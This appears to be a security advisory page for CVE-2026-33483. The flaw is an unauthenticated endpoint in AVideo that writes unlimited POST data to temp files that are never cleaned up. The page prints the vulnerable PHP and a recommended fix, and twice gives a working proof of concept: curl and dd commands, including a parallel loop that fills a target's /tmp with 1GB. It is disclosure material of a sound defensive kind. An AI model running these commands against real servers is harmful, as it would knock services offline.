CVE-2026-33483: Wwbn/avideo AVideo Affected By Unauthenticated Disk Vulnerability

HIGH
Advisory Identifier: GHSA-vv7w-qf5c-734w
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-33483 is a HIGH (CVSS 7.5) avideo affected by unauthenticated disk vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo affected by unauthenticated disk space exhaustion via unlimited temp file creation in avideoencoderchunk.json.php. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33483 at a Glance

CVE Identifier CVE-2026-33483
GHSA Identifier GHSA-vv7w-qf5c-734w
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-33483

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33483, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. ## Details The file `objects/aVideoEncoderChunk.json.php` (25 lines total) operates entirely outside the AVideo framework: ```php // objects/aVideoEncoderChunk.json.php — full file <?php header('Access-Control-Allow-Origin: *'); // Line 2: CORS wildcard header('Content-Type: application/json'); $obj = new stdClass(); $obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_'); // Line 5: creates /tmp/YTPChunk_XXXXXX $putdata = fopen("php://input", "r"); // Line 7: reads raw POST body $fp = fopen($obj->file, "w"); while ($data = fread($putdata, 1024 * 1024)) { // Line 12: 1MB chunks, no limit fwrite($fp, $data); } fclose($fp); fclose($putdata); sleep(1); $obj->filesize = filesize($obj->file); $json = json_encode($obj); die($json); // Line 25: returns {"file":"/tmp/YTPChunk_abc123","filesize":104857600} ``` The vulnerability chain: 1. **No authentication**: The script includes no session handling, no `require_once` of the framework, no `useVideoHashOrLogin()`, no `canUpload()` — nothing. Compare with `aVideoEncoder.json.php` which includes `configuration.php` and calls authentication functions. 2. **No size limits**: `php://input` is read until exhaustion. The effective limit is PHP's `post_max_size`, which AVideo's `.htaccess` has commented-out settings for 4GB (`#php_value post_max_size 4G` at line 536). Default AVideo installations recommend at least 100MB. 3. **No cleanup**: A grep for `YTPChunk_` across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned. 4. **Path disclosure**: The response JSON includes the full filesystem temp path (e.g., `/tmp/YTPChunk_abc123`), revealing server directory structure. 5. **CORS wildcard**: `Access-Control-Allow-Origin: *` on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs. 6. **Public routing**: `.htaccess` line 437 rewrites `/aVideoEncoderChunk.json` to this file, making it accessible at a clean URL. ## PoC **Step 1: Confirm endpoint is accessible and unauthenticated** ```bash curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary 'test' ``` Expected output: ```json {"file":"/tmp/YTPChunk_XXXXXX","filesize":4} ``` **Step 2: Write a large temp file (100MB)** ```bash dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- ``` Expected output: ```json {"file":"/tmp/YTPChunk_YYYYYY","filesize":104857600} ``` **Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)** ```bash for i in $(seq 1 10); do dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- & done wait ``` **Step 4: Verify files persist (they are never cleaned up)** ```bash # On the server: ls -la /tmp/YTPChunk_* # All files remain indefinitely ``` ## Impact - **Denial of Service**: Filling `/tmp/` causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo. - **No authentication barrier**: Any anonymous internet user can trigger this attack. - **Cross-origin exploitation**: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level. - **Information disclosure**: The temp file path in the response reveals the server's filesystem layout. - **Persistence**: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention. ## Recommended Fix Replace `objects/aVideoEncoderChunk.json.php` with a version that includes authentication, size limits, and cleanup: ```php <?php if (empty($global)) { $global = []; } require_once '../videos/configuration.php'; header('Content-Type: application/json'); allowOrigin(); // Use AVideo's configured CORS instead of wildcard // Require authentication $userObj = new User(0); if (!User::canUpload()) { http_response_code(403); die(json_encode(['error' => true, 'msg' => 'Not authorized'])); } // Enforce size limit (e.g., 200MB) $maxSize = 200 * 1024 * 1024; $contentLength = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0; if ($contentLength > $maxSize) { http_response_code(413); die(json_encode(['error' => true, 'msg' => 'Payload too large'])); } $obj = new stdClass(); $obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_'); $putdata = fopen("php://input", "r"); $fp = fopen($obj->file, "w"); $written = 0; while ($data = fread($putdata, 1024 * 1024)) { $written += strlen($data); if ($written > $maxSize) { fclose($fp); fclose($putdata); unlink($obj->file); http_response_code(413); die(json_encode(['error' => true, 'msg' => 'Payload too large'])); } fwrite($fp, $data); } fclose($fp); fclose($putdata); $obj->filesize = filesize($obj->file); // Do not expose full filesystem path $obj->file = basename($obj->file); die(json_encode($obj)); ``` Additionally, add a cleanup cron job or garbage collection to remove `YTPChunk_*` files older than a configurable timeout (e.g., 1 hour).

CVE-2026-33483 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33483?
CVE-2026-33483 is a security vulnerability in Wwbn/avideo involving AVideo Affected by Unauthenticated Disk Space Exhaustion via Unlimited Temp File Creation in aVideoEncoderChunk.json.php under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33483?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33483?
CVE-2026-33483 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-33483?
CVE-2026-33483 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Packagist dependencies for CVE-2026-33483?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv7w-qf5c-734w",
  "modified" : "2026-03-25T18:49:45Z",
  "published" : "2026-03-20T20:46:50Z",
  "aliases" : [ "CVE-2026-33483" ],
  "summary" : "AVideo Affected by Unauthenticated Disk Space Exhaustion via Unlimited Temp File Creation in aVideoEncoderChunk.json.php",
  "details" : "## Summary\n\nThe `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.\n\n## Details\n\nThe file `objects/aVideoEncoderChunk.json.php` (25 lines total) operates entirely outside the AVideo framework:\n\n```php\n// objects/aVideoEncoderChunk.json.php — full file\n<?php\nheader('Access-Control-Allow-Origin: *');           // Line 2: CORS wildcard\nheader('Content-Type: application/json');\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');  // Line 5: creates /tmp/YTPChunk_XXXXXX\n\n$putdata = fopen(\"php://input\", \"r\");              // Line 7: reads raw POST body\n$fp = fopen($obj->file, \"w\");\n\nwhile ($data = fread($putdata, 1024 * 1024)) {     // Line 12: 1MB chunks, no limit\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\nsleep(1);\n$obj->filesize = filesize($obj->file);\n\n$json = json_encode($obj);\ndie($json);                                         // Line 25: returns {\"file\":\"/tmp/YTPChunk_abc123\",\"filesize\":104857600}\n```\n\nThe vulnerability chain:\n\n1. **No authentication**: The script includes no session handling, no `require_once` of the framework, no `useVideoHashOrLogin()`, no `canUpload()` — nothing. Compare with `aVideoEncoder.json.php` which includes `configuration.php` and calls authentication functions.\n\n2. **No size limits**: `php://input` is read until exhaustion. The effective limit is PHP's `post_max_size`, which AVideo's `.htaccess` has commented-out settings for 4GB (`#php_value post_max_size 4G` at line 536). Default AVideo installations recommend at least 100MB.\n\n3. **No cleanup**: A grep for `YTPChunk_` across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.\n\n4. **Path disclosure**: The response JSON includes the full filesystem temp path (e.g., `/tmp/YTPChunk_abc123`), revealing server directory structure.\n\n5. **CORS wildcard**: `Access-Control-Allow-Origin: *` on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs.\n\n6. **Public routing**: `.htaccess` line 437 rewrites `/aVideoEncoderChunk.json` to this file, making it accessible at a clean URL.\n\n## PoC\n\n**Step 1: Confirm endpoint is accessible and unauthenticated**\n```bash\ncurl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary 'test'\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_XXXXXX\",\"filesize\":4}\n```\n\n**Step 2: Write a large temp file (100MB)**\n```bash\ndd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n  curl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary @-\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_YYYYYY\",\"filesize\":104857600}\n```\n\n**Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)**\n```bash\nfor i in $(seq 1 10); do\n  dd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n    curl -s -X POST https://target/aVideoEncoderChunk.json \\\n    -H 'Content-Type: application/octet-stream' \\\n    --data-binary @- &\ndone\nwait\n```\n\n**Step 4: Verify files persist (they are never cleaned up)**\n```bash\n# On the server:\nls -la /tmp/YTPChunk_*\n# All files remain indefinitely\n```\n\n## Impact\n\n- **Denial of Service**: Filling `/tmp/` causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo.\n- **No authentication barrier**: Any anonymous internet user can trigger this attack.\n- **Cross-origin exploitation**: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level.\n- **Information disclosure**: The temp file path in the response reveals the server's filesystem layout.\n- **Persistence**: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.\n\n## Recommended Fix\n\nReplace `objects/aVideoEncoderChunk.json.php` with a version that includes authentication, size limits, and cleanup:\n\n```php\n<?php\nif (empty($global)) {\n    $global = [];\n}\nrequire_once '../videos/configuration.php';\n\nheader('Content-Type: application/json');\nallowOrigin(); // Use AVideo's configured CORS instead of wildcard\n\n// Require authentication\n$userObj = new User(0);\nif (!User::canUpload()) {\n    http_response_code(403);\n    die(json_encode(['error' => true, 'msg' => 'Not authorized']));\n}\n\n// Enforce size limit (e.g., 200MB)\n$maxSize = 200 * 1024 * 1024;\n$contentLength = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0;\nif ($contentLength > $maxSize) {\n    http_response_code(413);\n    die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n}\n\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');\n\n$putdata = fopen(\"php://input\", \"r\");\n$fp = fopen($obj->file, \"w\");\n$written = 0;\n\nwhile ($data = fread($putdata, 1024 * 1024)) {\n    $written += strlen($data);\n    if ($written > $maxSize) {\n        fclose($fp);\n        fclose($putdata);\n        unlink($obj->file);\n        http_response_code(413);\n        die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n    }\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\n\n$obj->filesize = filesize($obj->file);\n// Do not expose full filesystem path\n$obj->file = basename($obj->file);\n\ndie(json_encode($obj));\n```\n\nAdditionally, add a cleanup cron job or garbage collection to remove `YTPChunk_*` files older than a configurable timeout (e.g., 1 hour).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-vv7w-qf5c-734w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33483"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/33d1bae6c731ef1682fcdc47b428313be073a5d1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:46:50Z",
    "nvd_published_at" : "2026-03-23T15:16:34Z"
  }
}